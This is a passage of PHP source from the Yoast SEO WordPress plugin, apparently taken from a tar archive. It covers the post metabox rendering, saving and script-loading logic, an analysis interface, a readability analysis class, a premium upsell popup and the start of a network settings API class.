		echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'general' );

		if ( $this->is_advanced_metadata_enabled ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in class.
			echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'advanced' );
		}

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in class.
		echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'schema', $this->get_metabox_post()->post_type );

		if ( $this->social_is_enabled ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in class.
			echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'social' );
		}

		/**
		 * Filter: 'wpseo_content_meta_section_content' - Allow filtering the metabox content before outputting.
		 *
		 * @param string $post_content The metabox content string.
		 */
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output should be escaped in the filter.
		echo apply_filters( 'wpseo_content_meta_section_content', '' );
	}

	/**
	 * Renders the metabox tabs.
	 *
	 * @return void
	 */
	protected function render_tabs() {
		echo '<div class="wpseo-metabox-content">';
		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $this->get_product_title() returns a hard-coded string.
		printf( '<div class="wpseo-metabox-menu"><ul role="tablist" class="yoast-aria-tabs" aria-label="%s">', $this->get_product_title() );

		$tabs = $this->get_tabs();

		foreach ( $tabs as $tab ) {
			if ( $tab->name === 'premium' ) {
				continue;
			}

			$tab->display_link();
		}

		echo '</ul></div>';

		foreach ( $tabs as $tab ) {
			$tab->display_content();
		}

		echo '</div>';
	}

	/**
	 * Returns the relevant metabox tabs for the current view.
	 *
	 * @return WPSEO_Metabox_Section[]
	 */
	private function get_tabs() {
		$tabs = [];

		$label = __( 'SEO', 'wordpress-seo' );
		if ( $this->seo_analysis->is_enabled() ) {
			$label = '<span class="wpseo-score-icon-container" id="wpseo-seo-score-icon"></span>' . $label;
		}
		$tabs[] = new WPSEO_Metabox_Section_React( 'content', $label );

		if ( $this->readability_analysis->is_enabled() ) {
			$tabs[] = new WPSEO_Metabox_Section_Readability();
		}

		if ( $this->inclusive_language_analysis->is_enabled() ) {
			$tabs[] = new WPSEO_Metabox_Section_Inclusive_Language();
		}

		if ( $this->is_advanced_metadata_enabled ) {
			$tabs[] = new WPSEO_Metabox_Section_React(
				'schema',
				'<span class="wpseo-schema-icon"></span>' . __( 'Schema', 'wordpress-seo' ),
				''
			);
		}

		if ( $this->social_is_enabled ) {
			$tabs[] = new WPSEO_Metabox_Section_React(
				'social',
				'<span class="dashicons dashicons-share"></span>' . __( 'Social', 'wordpress-seo' ),
				'',
				[
					'html_after' => '<div id="wpseo-section-social"></div>',
				]
			);
		}

		$tabs = array_merge( $tabs, $this->get_additional_tabs() );

		return $tabs;
	}

	/**
	 * Returns the metabox tabs that have been added by other plugins.
	 *
	 * @return WPSEO_Metabox_Section_Additional[]
	 */
	protected function get_additional_tabs() {
		$tabs = [];

		/**
		 * Private filter: 'yoast_free_additional_metabox_sections'.
		 *
		 * Meant for internal use only. Allows adding additional tabs to the Yoast SEO metabox.
		 *
		 * @since 11.9
		 *
		 * @param array[] $tabs {
		 *     An array of arrays with tab specifications.
		 *
		 *     @type array $tab {
		 *          A tab specification.
		 *
		 *          @type string $name         The name of the tab. Used in the HTML IDs, href and aria properties.
		 *          @type string $link_content The content of the tab link.
		 *          @type string $content      The content of the tab.
		 *          @type array $options {
		 *              Optional. Extra options.
		 *
		 *              @type string $link_class      Optional. The class for the tab link.
		 *              @type string $link_aria_label Optional. The aria label of the tab link.
		 *          }
		 *     }
		 * }
		 */
		$requested_tabs = apply_filters( 'yoast_free_additional_metabox_sections', [] );

		foreach ( $requested_tabs as $tab ) {
			if ( is_array( $tab ) && array_key_exists( 'name', $tab ) && array_key_exists( 'link_content', $tab ) && array_key_exists( 'content', $tab ) ) {
				$options = array_key_exists( 'options', $tab ) ? $tab['options'] : [];
				$tabs[]  = new WPSEO_Metabox_Section_Additional(
					$tab['name'],
					$tab['link_content'],
					$tab['content'],
					$options
				);
			}
		}

		return $tabs;
	}

	/**
	 * Adds a line in the meta box.
	 *
	 * @deprecated 23.5
	 * @codeCoverageIgnore
	 *
	 * @param string[] $meta_field_def Contains the vars based on which output is generated.
	 * @param string   $key            Internal key (without prefix).
	 *
	 * @return string
	 */
	public function do_meta_box( $meta_field_def, $key = '' ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 23.5' );

		$content      = '';
		$esc_form_key = esc_attr( WPSEO_Meta::$form_prefix . $key );
		$meta_value   = WPSEO_Meta::get_value( $key, $this->get_metabox_post()->ID );

		$class = '';
		if ( isset( $meta_field_def['class'] ) && $meta_field_def['class'] !== '' ) {
			$class = ' ' . $meta_field_def['class'];
		}

		$placeholder = '';
		if ( isset( $meta_field_def['placeholder'] ) && $meta_field_def['placeholder'] !== '' ) {
			$placeholder = $meta_field_def['placeholder'];
		}

		$aria_describedby = '';
		$description      = '';
		if ( isset( $meta_field_def['description'] ) ) {
			$aria_describedby = ' aria-describedby="' . $esc_form_key . '-desc"';
			$description      = '<p id="' . $esc_form_key . '-desc" class="yoast-metabox__description">' . $meta_field_def['description'] . '</p>';
		}

		// Add a hide_on_pages option that returns nothing when the field is rendered on a page.
		if ( isset( $meta_field_def['hide_on_pages'] ) && $meta_field_def['hide_on_pages'] && get_post_type() === 'page' ) {
			return '';
		}

		switch ( $meta_field_def['type'] ) {
			case 'text':
				$ac = '';
				if ( isset( $meta_field_def['autocomplete'] ) && $meta_field_def['autocomplete'] === false ) {
					$ac = 'autocomplete="off" ';
				}
				if ( $placeholder !== '' ) {
					$placeholder = ' placeholder="' . esc_attr( $placeholder ) . '"';
				}
				$content .= '<input type="text"' . $placeholder . ' id="' . $esc_form_key . '" ' . $ac . 'name="' . $esc_form_key . '" value="' . esc_attr( $meta_value ) . '" class="large-text' . $class . '"' . $aria_describedby . '/>';
				break;

			case 'url':
				if ( $placeholder !== '' ) {
					$placeholder = ' placeholder="' . esc_attr( $placeholder ) . '"';
				}
				$content .= '<input type="url"' . $placeholder . ' id="' . $esc_form_key . '" name="' . $esc_form_key . '" value="' . esc_attr( urldecode( $meta_value ) ) . '" class="large-text' . $class . '"' . $aria_describedby . '/>';
				break;

			case 'textarea':
				$rows = 3;
				if ( isset( $meta_field_def['rows'] ) && $meta_field_def['rows'] > 0 ) {
					$rows = $meta_field_def['rows'];
				}
				$content .= '<textarea class="large-text' . $class . '" rows="' . esc_attr( $rows ) . '" id="' . $esc_form_key . '" name="' . $esc_form_key . '"' . $aria_describedby . '>' . esc_textarea( $meta_value ) . '</textarea>';
				break;

			case 'hidden':
				$default = '';
				if ( isset( $meta_field_def['default'] ) ) {
					$default = sprintf( ' data-default="%s"', esc_attr( $meta_field_def['default'] ) );
				}
				$content .= '<input type="hidden" id="' . $esc_form_key . '" name="' . $esc_form_key . '" value="' . esc_attr( $meta_value ) . '"' . $default . '/>' . "\n";
				break;
			case 'select':
				if ( isset( $meta_field_def['options'] ) && is_array( $meta_field_def['options'] ) && $meta_field_def['options'] !== [] ) {
					$content .= '<select name="' . $esc_form_key . '" id="' . $esc_form_key . '" class="yoast' . $class . '">';
					foreach ( $meta_field_def['options'] as $val => $option ) {
						$selected = selected( $meta_value, $val, false );
						$content .= '<option ' . $selected . ' value="' . esc_attr( $val ) . '">' . esc_html( $option ) . '</option>';
					}
					unset( $val, $option, $selected );
					$content .= '</select>';
				}
				break;

			case 'multiselect':
				if ( isset( $meta_field_def['options'] ) && is_array( $meta_field_def['options'] ) && $meta_field_def['options'] !== [] ) {

					// Set $meta_value as $selected_arr.
					$selected_arr = $meta_value;

					// If the multiselect field is 'meta-robots-adv' we should explode on ,.
					if ( $key === 'meta-robots-adv' ) {
						$selected_arr = explode( ',', $meta_value );
					}

					if ( ! is_array( $selected_arr ) ) {
						$selected_arr = (array) $selected_arr;
					}

					$options_count = count( $meta_field_def['options'] );

					$content .= '<select multiple="multiple" size="' . esc_attr( $options_count ) . '" name="' . $esc_form_key . '[]" id="' . $esc_form_key . '" class="yoast' . $class . '"' . $aria_describedby . '>';
					foreach ( $meta_field_def['options'] as $val => $option ) {
						$selected = '';
						if ( in_array( $val, $selected_arr, true ) ) {
							$selected = ' selected="selected"';
						}
						$content .= '<option ' . $selected . ' value="' . esc_attr( $val ) . '">' . esc_html( $option ) . '</option>';
					}
					$content .= '</select>';
					unset( $val, $option, $selected, $selected_arr, $options_count );
				}
				break;

			case 'checkbox':
				$checked  = checked( $meta_value, 'on', false );
				$expl     = ( isset( $meta_field_def['expl'] ) ) ? esc_html( $meta_field_def['expl'] ) : '';
				$content .= '<input type="checkbox" id="' . $esc_form_key . '" name="' . $esc_form_key . '" ' . $checked . ' value="on" class="yoast' . $class . '"' . $aria_describedby . '/> <label for="' . $esc_form_key . '">' . $expl . '</label>';
				unset( $checked, $expl );
				break;

			case 'radio':
				if ( isset( $meta_field_def['options'] ) && is_array( $meta_field_def['options'] ) && $meta_field_def['options'] !== [] ) {
					foreach ( $meta_field_def['options'] as $val => $option ) {
						$checked  = checked( $meta_value, $val, false );
						$content .= '<input type="radio" ' . $checked . ' id="' . $esc_form_key . '_' . esc_attr( $val ) . '" name="' . $esc_form_key . '" value="' . esc_attr( $val ) . '"/> <label for="' . $esc_form_key . '_' . esc_attr( $val ) . '">' . esc_html( $option ) . '</label> ';
					}
					unset( $val, $option, $checked );
				}
				break;
		}

		$html = '';
		if ( $content === '' ) {
			$content = apply_filters_deprecated( 'wpseo_do_meta_box_field_' . $key, [ $content, $meta_value, $esc_form_key, $meta_field_def, $key ], 'Yoast SEO 23.5', '', 'do_meta_box is deprecated' );
		}

		if ( $content !== '' ) {

			$title = esc_html( $meta_field_def['title'] );

			// By default, use the field title as a label element.
			$label = '<label for="' . $esc_form_key . '">' . $title . '</label>';

			// Set the inline help and help panel, if any.
			$help_button = '';
			$help_panel  = '';
			if ( isset( $meta_field_def['help'] ) && $meta_field_def['help'] !== '' ) {
				$help        = new WPSEO_Admin_Help_Panel( $key, $meta_field_def['help-button'], $meta_field_def['help'] );
				$help_button = $help->get_button_html();
				$help_panel  = $help->get_panel_html();
			}

			// If it's a set of radio buttons, output proper fieldset and legend.
			if ( $meta_field_def['type'] === 'radio' ) {
				return '<fieldset><legend>' . $title . '</legend>' . $help_button . $help_panel . $content . $description . '</fieldset>';
			}

			// If it's a single checkbox, ignore the title.
			if ( $meta_field_def['type'] === 'checkbox' ) {
				$label = '';
			}

			// Other meta box content or form fields.
			if ( $meta_field_def['type'] === 'hidden' ) {
				$html = $content;
			}
			else {
				$html = $label . $description . $help_button . $help_panel . $content;
			}
		}

		return $html;
	}

	/**
	 * Saves the WP SEO metadata for posts.
	 *
	 * {@internal $_POST parameters are validated via sanitize_post_meta().}}
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return bool|void Boolean false if invalid save post request.
	 */
	public function save_postdata( $post_id ) {
		// Bail if this is a multisite installation and the site has been switched.
		if ( is_multisite() && ms_is_switched() ) {
			return false;
		}

		if ( $post_id === null ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized in wp_verify_none.
		if ( ! isset( $_POST['yoast_free_metabox_nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['yoast_free_metabox_nonce'] ), 'yoast_free_metabox' ) ) {
			return false;
		}

		if ( wp_is_post_revision( $post_id ) ) {
			$post_id = wp_is_post_revision( $post_id );
		}

		/**
		 * Determine we're not accidentally updating a different post.
		 * We can't use filter_input here as the ID isn't available at this point, other than in the $_POST data.
		 */
		if ( ! isset( $_POST['ID'] ) || $post_id !== (int) $_POST['ID'] ) {
			return false;
		}

		clean_post_cache( $post_id );
		$post = get_post( $post_id );

		if ( ! is_object( $post ) ) {
			// Non-existent post.
			return false;
		}

		do_action( 'wpseo_save_compare_data', $post );

		$social_fields = [];
		if ( $this->social_is_enabled ) {
			$social_fields = WPSEO_Meta::get_meta_field_defs( 'social' );
		}

		$meta_boxes = apply_filters( 'wpseo_save_metaboxes', [] );
		$meta_boxes = array_merge(
			$meta_boxes,
			WPSEO_Meta::get_meta_field_defs( 'general', $post->post_type ),
			WPSEO_Meta::get_meta_field_defs( 'advanced' ),
			$social_fields,
			WPSEO_Meta::get_meta_field_defs( 'schema', $post->post_type )
		);

		foreach ( $meta_boxes as $key => $meta_box ) {

			// If analysis is disabled remove that analysis score value from the DB.
			if ( $this->is_meta_value_disabled( $key ) ) {
				WPSEO_Meta::delete( $key, $post_id );
				continue;
			}

			$data       = null;
			$field_name = WPSEO_Meta::$form_prefix . $key;

			if ( $meta_box['type'] === 'checkbox' ) {
				$data = isset( $_POST[ $field_name ] ) ? 'on' : 'off';
			}
			else {
				if ( isset( $_POST[ $field_name ] ) ) {
					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We're preparing to do just that.
					$data = wp_unslash( $_POST[ $field_name ] );

					// For multi-select.
					if ( is_array( $data ) ) {
						$data = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], $data );
					}

					if ( is_string( $data ) ) {
						$data = ( $key !== 'canonical' ) ? WPSEO_Utils::sanitize_text_field( $data ) : WPSEO_Utils::sanitize_url( $data );
					}
				}

				// Reset options when no entry is present with multiselect - only applies to `meta-robots-adv` currently.
				if ( ! isset( $_POST[ $field_name ] ) && ( $meta_box['type'] === 'multiselect' ) ) {
					$data = [];
				}
			}

			if ( $data !== null ) {
				WPSEO_Meta::set_value( $key, $data, $post_id );
			}
		}

		do_action( 'wpseo_saved_postdata' );
	}

	/**
	 * Determines if the given meta value key is disabled.
	 *
	 * @param string $key The key of the meta value.
	 *
	 * @return bool Whether the given meta value key is disabled.
	 */
	public function is_meta_value_disabled( $key ) {
		if ( $key === 'linkdex' && ! $this->seo_analysis->is_enabled() ) {
			return true;
		}

		if ( $key === 'content_score' && ! $this->readability_analysis->is_enabled() ) {
			return true;
		}

		if ( $key === 'inclusive_language_score' && ! $this->inclusive_language_analysis->is_enabled() ) {
			return true;
		}

		return false;
	}

	/**
	 * Enqueues all the needed JS and CSS.
	 *
	 * @todo [JRF => whomever] Create css/metabox-mp6.css file and add it to the below allowed colors array when done.
	 *
	 * @return void
	 */
	public function enqueue() {
		global $pagenow;

		$asset_manager = new WPSEO_Admin_Asset_Manager();

		if ( self::is_post_overview( $pagenow ) ) {
			return;
		}

		/* Filter 'wpseo_always_register_metaboxes_on_admin' documented in wpseo-main.php */
		if ( ( self::is_post_edit( $pagenow ) === false && apply_filters( 'wpseo_always_register_metaboxes_on_admin', false ) === false ) || $this->display_metabox() === false ) {
			return;
		}

		$post_id = get_queried_object_id();
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( empty( $post_id ) && isset( $_GET['post'] ) && is_string( $_GET['post'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			$post_id = sanitize_text_field( wp_unslash( $_GET['post'] ) );
		}

		if ( $post_id !== 0 ) {
			// Enqueue files needed for upload functionality.
			wp_enqueue_media( [ 'post' => $post_id ] );
		}

		$asset_manager->enqueue_style( 'metabox-css' );
		$asset_manager->enqueue_style( 'scoring' );
		$asset_manager->enqueue_style( 'monorepo' );
		$asset_manager->enqueue_style( 'ai-generator' );
		$asset_manager->enqueue_style( 'ai-fix-assessments' );

		$is_block_editor  = WP_Screen::get()->is_block_editor();
		$post_edit_handle = 'post-edit';
		if ( ! $is_block_editor ) {
			$post_edit_handle = 'post-edit-classic';
		}
		$asset_manager->enqueue_script( $post_edit_handle );
		$asset_manager->enqueue_style( 'admin-css' );

		/**
		 * Removes the emoji script as it is incompatible with both React and any
		 * contenteditable fields.
		 */
		remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );

		$asset_manager->localize_script( $post_edit_handle, 'wpseoAdminL10n', WPSEO_Utils::get_admin_l10n() );

		$plugins_script_data = [
			'replaceVars' => [
				'replace_vars'             => $this->get_replace_vars(),
				'hidden_replace_vars'      => $this->get_hidden_replace_vars(),
				'recommended_replace_vars' => $this->get_recommended_replace_vars(),
				'scope'                    => $this->determine_scope(),
				'has_taxonomies'           => $this->current_post_type_has_taxonomies(),
			],
			'shortcodes' => [
				'wpseo_shortcode_tags'          => $this->get_valid_shortcode_tags(),
				'wpseo_filter_shortcodes_nonce' => wp_create_nonce( 'wpseo-filter-shortcodes' ),
			],
		];

		$worker_script_data = [
			'url'                     => YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-analysis-worker' ),
			'dependencies'            => YoastSEO()->helpers->asset->get_dependency_urls_by_handle( 'yoast-seo-analysis-worker' ),
			'keywords_assessment_url' => YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-used-keywords-assessment' ),
			'log_level'               => WPSEO_Utils::get_analysis_worker_log_level(),
		];

		$page_on_front    = (int) get_option( 'page_on_front' );
		$homepage_is_page = get_option( 'show_on_front' ) === 'page';
		$is_front_page    = $homepage_is_page && $page_on_front === (int) $post_id;

		$script_data = [
			'metabox'                    => $this->get_metabox_script_data(),
			'isPost'                     => true,
			'isBlockEditor'              => $is_block_editor,
			'postId'                     => $post_id,
			'postStatus'                 => get_post_status( $post_id ),
			'postType'                   => get_post_type( $post_id ),
			'usedKeywordsNonce'          => wp_create_nonce( 'wpseo-keyword-usage-and-post-types' ),
			'analysis'                   => [
				'plugins' => $plugins_script_data,
				'worker'  => $worker_script_data,
			],
			'isFrontPage'                => $is_front_page,
		];

		/**
		 * The website information repository.
		 *
		 * @var $repo Website_Information_Repository
		 */
		$repo             = YoastSEO()->classes->get( Website_Information_Repository::class );
		$site_information = $repo->get_post_site_information();
		$site_information->set_permalink( $this->get_permalink() );
		$script_data = array_merge_recursive( $site_information->get_legacy_site_information(), $script_data );

		if ( ! $is_block_editor && post_type_supports( get_post_type(), 'thumbnail' ) ) {
			$asset_manager->enqueue_style( 'featured-image' );
		}

		$asset_manager->localize_script( $post_edit_handle, 'wpseoScriptData', $script_data );
		$asset_manager->enqueue_user_language_script();
	}

	/**
	 * Returns post in metabox context.
	 *
	 * @return WP_Post|array<string|int|bool>
	 */
	protected function get_metabox_post() {
		if ( $this->post !== null ) {
			return $this->post;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['post'] ) && is_string( $_GET['post'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, Sanitization happens in the validate_int function.
			$post_id = (int) WPSEO_Utils::validate_int( wp_unslash( $_GET['post'] ) );

			$this->post = get_post( $post_id );

			return $this->post;
		}

		if ( isset( $GLOBALS['post'] ) ) {
			$this->post = $GLOBALS['post'];

			return $this->post;
		}

		return [];
	}

	/**
	 * Returns an array with shortcode tags for all registered shortcodes.
	 *
	 * @return string[]
	 */
	private function get_valid_shortcode_tags() {
		$shortcode_tags = [];

		foreach ( $GLOBALS['shortcode_tags'] as $tag => $description ) {
			$shortcode_tags[] = $tag;
		}

		return $shortcode_tags;
	}

	/**
	 * Prepares the replace vars for localization.
	 *
	 * @return string[] Replace vars.
	 */
	private function get_replace_vars() {
		$cached_replacement_vars = [];

		$vars_to_cache = [
			'date',
			'id',
			'sitename',
			'sitedesc',
			'sep',
			'page',
			'currentdate',
			'currentyear',
			'currentmonth',
			'currentday',
			'post_year',
			'post_month',
			'post_day',
			'name',
			'author_first_name',
			'author_last_name',
			'permalink',
			'post_content',
			'category_title',
			'tag',
			'category',
		];

		foreach ( $vars_to_cache as $var ) {
			$cached_replacement_vars[ $var ] = wpseo_replace_vars( '%%' . $var . '%%', $this->get_metabox_post() );
		}

		// Merge custom replace variables with the WordPress ones.
		return array_merge( $cached_replacement_vars, $this->get_custom_replace_vars( $this->get_metabox_post() ) );
	}

	/**
	 * Returns the list of replace vars that should be hidden inside the editor.
	 *
	 * @return string[] The hidden replace vars.
	 */
	protected function get_hidden_replace_vars() {
		return ( new WPSEO_Replace_Vars() )->get_hidden_replace_vars();
	}

	/**
	 * Prepares the recommended replace vars for localization.
	 *
	 * @return array<string[]> Recommended replacement variables.
	 */
	private function get_recommended_replace_vars() {
		$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();

		// What is recommended depends on the current context.
		$post_type = $recommended_replace_vars->determine_for_post( $this->get_metabox_post() );

		return $recommended_replace_vars->get_recommended_replacevars_for( $post_type );
	}

	/**
	 * Gets the custom replace variables for custom taxonomies and fields.
	 *
	 * @param WP_Post $post The post to check for custom taxonomies and fields.
	 *
	 * @return array<string[]> Array containing all the replacement variables.
	 */
	private function get_custom_replace_vars( $post ) {
		return [
			'custom_fields'     => $this->get_custom_fields_replace_vars( $post ),
			'custom_taxonomies' => $this->get_custom_taxonomies_replace_vars( $post ),
		];
	}

	/**
	 * Gets the custom replace variables for custom taxonomies.
	 *
	 * @param WP_Post $post The post to check for custom taxonomies.
	 *
	 * @return array<string[]> Array containing all the replacement variables.
	 */
	private function get_custom_taxonomies_replace_vars( $post ) {
		$taxonomies          = get_object_taxonomies( $post, 'objects' );
		$custom_replace_vars = [];

		foreach ( $taxonomies as $taxonomy_name => $taxonomy ) {

			if ( is_string( $taxonomy ) ) { // If attachment, see https://core.trac.wordpress.org/ticket/37368 .
				$taxonomy_name = $taxonomy;
				$taxonomy      = get_taxonomy( $taxonomy_name );
			}

			if ( $taxonomy->_builtin && $taxonomy->public ) {
				continue;
			}

			$custom_replace_vars[ $taxonomy_name ] = [
				'name'        => $taxonomy->name,
				'description' => $taxonomy->description,
			];
		}

		return $custom_replace_vars;
	}

	/**
	 * Gets the custom replace variables for custom fields.
	 *
	 * @param WP_Post $post The post to check for custom fields.
	 *
	 * @return array<string[]> Array containing all the replacement variables.
	 */
	private function get_custom_fields_replace_vars( $post ) {
		$custom_replace_vars = [];

		// If no post object is passed, return the empty custom_replace_vars array.
		if ( ! is_object( $post ) ) {
			return $custom_replace_vars;
		}

		$custom_fields = get_post_custom( $post->ID );

		// If $custom_fields is an empty string or generally not an array, return early.
		if ( ! is_array( $custom_fields ) ) {
			return $custom_replace_vars;
		}

		$meta = YoastSEO()->meta->for_post( $post->ID );

		if ( ! $meta ) {
			return $custom_replace_vars;
		}

		// Simply concatenate all fields containing replace vars so we can handle them all with a single regex find.
		$replace_vars_fields = implode(
			' ',
			[
				$meta->presentation->title,
				$meta->presentation->meta_description,
			]
		);

		preg_match_all( '/%%cf_([A-Za-z0-9_]+)%%/', $replace_vars_fields, $matches );
		$fields_to_include = $matches[1];
		foreach ( $custom_fields as $custom_field_name => $custom_field ) {
			// Skip private custom fields.
			if ( substr( $custom_field_name, 0, 1 ) === '_' ) {
				continue;
			}

			// Skip custom fields that are not used, new ones will be fetched dynamically.
			if ( ! in_array( $custom_field_name, $fields_to_include, true ) ) {
				continue;
			}

			// Skip custom field values that are serialized.
			if ( is_serialized( $custom_field[0] ) ) {
				continue;
			}

			$custom_replace_vars[ $custom_field_name ] = $custom_field[0];
		}

		return $custom_replace_vars;
	}

	/**
	 * Checks if the page is the post overview page.
	 *
	 * @param string $page The page to check for the post overview page.
	 *
	 * @return bool Whether or not the given page is the post overview page.
	 */
	public static function is_post_overview( $page ) {
		return $page === 'edit.php';
	}

	/**
	 * Checks if the page is the post edit page.
	 *
	 * @param string $page The page to check for the post edit page.
	 *
	 * @return bool Whether or not the given page is the post edit page.
	 */
	public static function is_post_edit( $page ) {
		return $page === 'post.php'
			|| $page === 'post-new.php';
	}

	/**
	 * Retrieves the product title.
	 *
	 * @return string The product title.
	 */
	protected function get_product_title() {
		return YoastSEO()->helpers->product->get_product_name();
	}

	/**
	 * Gets the permalink.
	 *
	 * @return string
	 */
	protected function get_permalink() {
		$permalink = '';

		if ( is_object( $this->get_metabox_post() ) ) {
			$permalink = get_sample_permalink( $this->get_metabox_post()->ID );
			$permalink = $permalink[0];
		}

		return $permalink;
	}
}
wordpress-seo/admin/metabox/interface-metabox-analysis.php000064400000001267147510273100020044 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Metabox
 */

/**
 * Describes an interface for an analysis that can either be enabled or disabled.
 */
interface WPSEO_Metabox_Analysis {

	/**
	 * Whether this analysis is enabled.
	 *
	 * @return bool Whether or not this analysis is enabled.
	 */
	public function is_enabled();

	/**
	 * Whether or not this analysis is enabled by the user.
	 *
	 * @return bool Whether or not this analysis is enabled by the user.
	 */
	public function is_user_enabled();

	/**
	 * Whether or not this analysis is enabled globally.
	 *
	 * @return bool Whether or not this analysis is enabled globally.
	 */
	public function is_globally_enabled();
}
wordpress-seo/admin/metabox/class-metabox-analysis-readability.php000064400000001641147510273100021474 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Metabox
 */

/**
 * Represents the readability analysis.
 */
class WPSEO_Metabox_Analysis_Readability implements WPSEO_Metabox_Analysis {

	/**
	 * Whether this analysis is enabled.
	 *
	 * @return bool Whether or not this analysis is enabled.
	 */
	public function is_enabled() {
		return $this->is_globally_enabled() && $this->is_user_enabled();
	}

	/**
	 * Whether or not this analysis is enabled by the user.
	 *
	 * @return bool Whether or not this analysis is enabled by the user.
	 */
	public function is_user_enabled() {
		return ! get_the_author_meta( 'wpseo_content_analysis_disable', get_current_user_id() );
	}

	/**
	 * Whether or not this analysis is enabled globally.
	 *
	 * @return bool Whether or not this analysis is enabled globally.
	 */
	public function is_globally_enabled() {
		return WPSEO_Options::get( 'content_analysis_active', true );
	}
}
wordpress-seo/admin/class-premium-popup.php000064400000005472147510273100015113 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Class WPSEO_Premium_popup.
 */
class WPSEO_Premium_Popup {

	/**
	 * An unique identifier for the popup
	 *
	 * @var string
	 */
	private $identifier = '';

	/**
	 * The heading level of the title of the popup.
	 *
	 * @var string
	 */
	private $heading_level = '';

	/**
	 * The title of the popup.
	 *
	 * @var string
	 */
	private $title = '';

	/**
	 * The content of the popup.
	 *
	 * @var string
	 */
	private $content = '';

	/**
	 * The URL for where the button should link to.
	 *
	 * @var string
	 */
	private $url = '';

	/**
	 * Wpseo_Premium_Popup constructor.
	 *
	 * @param string $identifier    An unique identifier for the popup.
	 * @param string $heading_level The heading level for the title of the popup.
	 * @param string $title         The title of the popup.
	 * @param string $content       The content of the popup.
	 * @param string $url           The URL for where the button should link to.
	 */
	public function __construct( $identifier, $heading_level, $title, $content, $url ) {
		$this->identifier    = $identifier;
		$this->heading_level = $heading_level;
		$this->title         = $title;
		$this->content       = $content;
		$this->url           = $url;
	}

	/**
	 * Returns the premium popup as an HTML string.
	 *
	 * @param bool $popup Show this message as a popup show it straight away.
	 *
	 * @return string
	 */
	public function get_premium_message( $popup = true ) {
		// Don't show in Premium.
		if ( defined( 'WPSEO_PREMIUM_FILE' ) ) {
			return '';
		}

		$assets_uri = trailingslashit( plugin_dir_url( WPSEO_FILE ) );

		/* translators: %s expands to Yoast SEO Premium */
		$cta_text = esc_html( sprintf( __( 'Get %s', 'wordpress-seo' ), 'Yoast SEO Premium' ) );
		/* translators: Hidden accessibility text. */
		$new_tab_message = '<span class="screen-reader-text">' . esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' ) . '</span>';
		$caret_icon      = '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>';
		$classes         = '';
		if ( $popup ) {
			$classes = ' hidden';
		}
		$micro_copy = __( '1 year free support and updates included!', 'wordpress-seo' );

		$popup = <<<EO_POPUP
<div id="wpseo-{$this->identifier}-popup" class="wpseo-premium-popup wp-clearfix$classes">
	<img class="alignright wpseo-premium-popup-icon" src="{$assets_uri}packages/js/images/Yoast_SEO_Icon.svg" width="150" height="150" alt="Yoast SEO"/>
	<{$this->heading_level} id="wpseo-contact-support-popup-title" class="wpseo-premium-popup-title">{$this->title}</{$this->heading_level}>
	{$this->content}
	<a id="wpseo-{$this->identifier}-popup-button" class="yoast-button-upsell" href="{$this->url}" target="_blank">
		{$cta_text} {$new_tab_message} {$caret_icon}
	</a><br/>
	<small>{$micro_copy}</small>
</div>
EO_POPUP;

		return $popup;
	}
}
wordpress-seo/admin/class-yoast-network-settings-api.php000064400000010264147510273100017522 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Network
 */

/**
 * Implements a network settings API for the plugin's multisite settings.
 */
class Yoast_Network_Settings_API {

	/**
	 * Registered network settings.
	 *
	 * @var array
	 */
	private $registered_settings = [];

	/**
	 * Options whitelist, keyed by option group.
	 *
	 * @var array
	 */
	private $whitelist_options = [];

	/**
	 * The singleton instance of this class.
	 *
	 * @var Yoast_Network_Settings_API
	 */
	private static $instance = null;

	/**
	 * Registers a network setting and its data.
	 *
	 * @param string $option_group The group the network option is part of.
	 * @param string $option_name  The name of the network option to sanitize and save.
	 * @param array  $args         {
	 *     Optional. Data used to describe the network setting when registered.
	 *
	 *     @type callable $sanitize_callback A callback function that sanitizes the network option's value.
	 *     @type mixed    $default           Default value when calling `get_network_option()`.
	 * }
	 *
	 * @return void
	 */
	public function register_setting( $option_group, $option_name, $args = [] ) {

		$defaults = [
			'group'             => $option_group,
			'sanitize_callback' => null,
		];
		$args     = wp_parse_args( $args, $defaults );

		if ( ! isset( $this->whitelist_options[ $option_group ] ) ) {
			$this->whitelist_options[ $option_group ] = [];
		}

		$this->whitelist_options[ $option_group ][] = $option_name;

		if ( ! empty( $args['sanitize_callback'] ) ) {
			add_filter( "sanitize_option_{$option_name}", [ $this, 'filter_sanitize_option' ], 10, 2 );
		}

		if ( array_key_exists( 'default', $args ) ) {
